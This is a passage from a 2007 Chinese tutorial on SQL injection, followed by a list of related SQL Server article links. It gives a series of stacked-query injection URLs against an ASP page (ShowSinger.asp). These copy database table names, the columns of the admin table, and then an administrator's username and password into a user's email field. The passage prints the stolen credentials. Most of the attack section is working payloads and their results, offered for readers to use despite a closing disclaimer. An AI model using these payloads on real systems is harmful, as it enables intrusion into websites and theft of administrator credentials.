有孔就入 SQL Injection的深入探讨
2007-05-19 09:43:25 来源:WEB开发网得到第一个表lmuser的id标识号为:363148339
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--
得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了。
好,接下来我们就取该表的字段名
http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 col_name(object_id(admin),1)
from admin) where id=103534;--
得到第1个字段为:id
http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 col_name(object_id(admin),2)
from admin) where id=103534;--
得到第2个字段为:username
http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 col_name(object_id(admin),3)
from admin) where id=103534;--
得到第2个字段为:password
到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。
我们拿到的id值是44
http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 username from admin
where id=44) where id=103534;--
将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3
http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
[user] set email=(select top 1 password from admin
where id=44) where id=103534;--
将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ
怎么样,拿到密码了吧?
四、总结
在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!
- ››sql server自动生成批量执行SQL脚本的批处理
- ››sql server 2008亿万数据性能优化
- ››SQL Server 2008清空数据库日志方法
- ››sqlserver安装和简单的使用
- ››SQL Sever 2008 R2 数据库管理
- ››SQL SERVER无法安装成功,sqlstp.log文件提示[未发...
- ››Sql Server中通过父记录查找出所有关联的子记录
- ››SqlServer触发器、存储过程和函数
- ››SQL Server 中的事务(含义,属性,管理)
- ››Sqlite数据库插入和读取图片数据
- ››Sql server 2005拒绝了对对象 'xx表' (数...
- ››Sql server 2005拒绝了对对象 'xx表' (数...
更多精彩
赞助商链接